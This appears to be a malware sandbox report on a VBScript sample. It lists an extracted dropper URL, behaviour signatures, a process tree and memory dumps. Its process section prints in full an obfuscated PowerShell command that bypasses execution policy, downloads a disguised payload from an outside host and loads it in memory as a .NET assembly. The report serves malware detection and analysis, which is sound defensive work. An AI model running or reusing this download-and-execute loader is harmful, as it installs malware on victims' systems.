Analysis
- max time kernel
38s - max time network
41s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
28/08/2026, 16:19
General
- Target 0047657717a175afb8e6a6af8fdf1d9a42df30ce9d21855c0e37472d41f43c4a.vbs
- Size 612KB
- Sample260828-tskcrazhpg
- SHA256 0047657717a175afb8e6a6af8fdf1d9a42df30ce9d21855c0e37472d41f43c4a
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://ryanborn.net/BAND/MSI_PRO.png
-
exe.dropper
https://ryanborn.net/BAND/MSI_PRO.png
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0047657717a175afb8e6a6af8fdf1d9a42df30ce9d21855c0e37472d41f43c4a.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $babylike = ''https://ryanborn.net/BAND/MSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $reviewer = New-Object System.Net.CookieContainer; $vespers = New-Object System.Net.Http.HttpClientHandler; $vespers.AllowAutoRedirect = $true; $vespers.CookieContainer = $reviewer; $normale = New-Object System.Net.Http.HttpClient($vespers); $normale.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $stratovolcano = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $babylike); $frequenters = $normale.SendAsync($stratovolcano).GetAwaiter().GetResult(); $jerry = $frequenters.Content.Headers.ContentLength; if ($null -eq $jerry) { $jerry = 5000000; } $elderwort = [Math]::Min($jerry, 3000000); $thornbill = [Math]::Max(0, $jerry - $elderwort); $swietenia = $jerry - 1; $exponent = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $babylike); $exponent.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($thornbill, $swietenia); $sublimary = $normale.SendAsync($exponent).GetAwaiter().GetResult(); [byte[]]$stadimeter = $sublimary.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $stomachaches = [System.Text.Encoding]::ASCII.GetString($stadimeter); } catch { $inappreciable = (New-Object System.Net.WebClient).DownloadString($babylike); $stomachaches = $inappreciable; } $vaporspout=''IN-''; $liveforevers=''-in1''; $pneumatogram = [string]::IndexOf($stomachaches, $vaporspout); $pajero = $stomachaches.LastIndexOf($liveforevers); if($pneumatogram -eq -1 -or $pajero -eq -1){return}; $borocalcite = $pneumatogram + $vaporspout.Length; $melodramatising = $stomachaches.Substring($stomachaches.IndexOf($vaporspout) + $vaporspout.Length, $pajero - ($stomachaches.IndexOf($vaporspout) + $vaporspout.Length)); $stormy = $melodramatising.Replace(''*'',''A'').ToCharArray(); $machiavellize = -join $stormy[($stormy.Length - 1)..0]; $clavelins = ($machiavellize -match ''^[0-9a-fA-F]+$'') -and ($machiavellize.Length % 2 -eq 0); [byte[]]$electrepeter = $null; if ($clavelins) { $electrepeter = for ($i = 0; $i -lt $machiavellize.Length; $i += 2) { [Convert]::ToByte($machiavellize.Substring($i, 2), 16) } } else { $screenplay = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $electrepeter = $screenplay.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$machiavellize)); } $ventil = [AppDomain]::(''CurrentDomain''); $undecalcified = $ventil.GetType().GetMethod(''Load'', [byte[]]); $uniparous = $undecalcified.Invoke($ventil, (,$electrepeter)); $dimercaprol = (''04grQxGhKX+hZkOX378EfrWk6SeuNWTHFBZh/NhvSUEl/Dh+4FeaFKjSL3wd1TuXwO78vpTGTZ7oLQ+PxZL1Og=='',''Tl+b3Jv98wZQKUYXnj70VT8uwXAU0/K0pPhw6KLGtZc='',''G/663a/ywZdD7nwqSTqpv1tl8fnIYmsUOTMcyjKXQ2cBBZ7Fc/tvhHNSEMSvnBk9'',''r/DjLFk8XYh9x1q0Dz24QMm42lKb3H4hZbaI+0CuIQo='',''eFSwx1P/UR8abLGJGSJuAU0ExlKaNi+5FoSb24C+jsI='',''4Xzh+p0La13xmkytgXme6RP4hXnsjEBz8LNDmTBrcbM='',''tLjqUfOM15WW5dlQO5Bd2Y7I07ufXMySvFJO03F4Vu0='',''ta3/hlLlhwfZWYxaEtrek+YMhOtd3ZWfBwAgeHxlZck='',''lr67zikAuT8SgPCSWUmFhk0d8qY3CLcAQavfoom8h7Tsii4mCY5/lv+OwHoOwxBG'',''bUGgyZn+QUlo8xVKsXSh1wLjow4p/g3t2xiHkpDGmxcpLiFk2NuYefiPpaqGvIDJ'',''F4AAL1RHulmpIEmNE7gnKVJVw4K5QpWFzrfXEXufW2U='',''bkGYyxG/f/M3pgNSxpC1dElwHuOTp7BOvS5FMXZ/srY='',''UYWBfg7EIJlqpbOi6XyPn5T5f5tVb6zZvAzi3CtqCG0='',''9EEh2QsXySOFiSKAsd62hE7j2TlURFX9H9sRzkT6BHQ='',''i1A3KeRHMzNBd9WWxSG6mEa8gQR25/1j0D52yQ7PAuY='',''T8iAMQFGrfRnAQ0pR7Kv1zQiQD047BcMuvPZo8PS4jk='','''','''',''''); try { $dismisses = ($uniparous.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $hebephiles = ($dismisses.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $hebephiles.Invoke($null, [object[]]$dimercaprol); } catch {} finally { if ($null -ne $normale) { $normale.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_2iwdy31m.kgx.ps1
memory/5104-0-0x000002AD514B0000-0x000002AD514C0000-memory.dmp
memory/5104-1-0x000002AD514B0000-0x000002AD514C0000-memory.dmp
memory/5104-2-0x000002AD6C490000-0x000002AD6C4B2000-memory.dmp
memory/5104-11-0x000002AD514B0000-0x000002AD514C0000-memory.dmp
memory/5104-10-0x000002AD514B0000-0x000002AD514C0000-memory.dmp
memory/5104-12-0x000002AD514B0000-0x000002AD514C0000-memory.dmp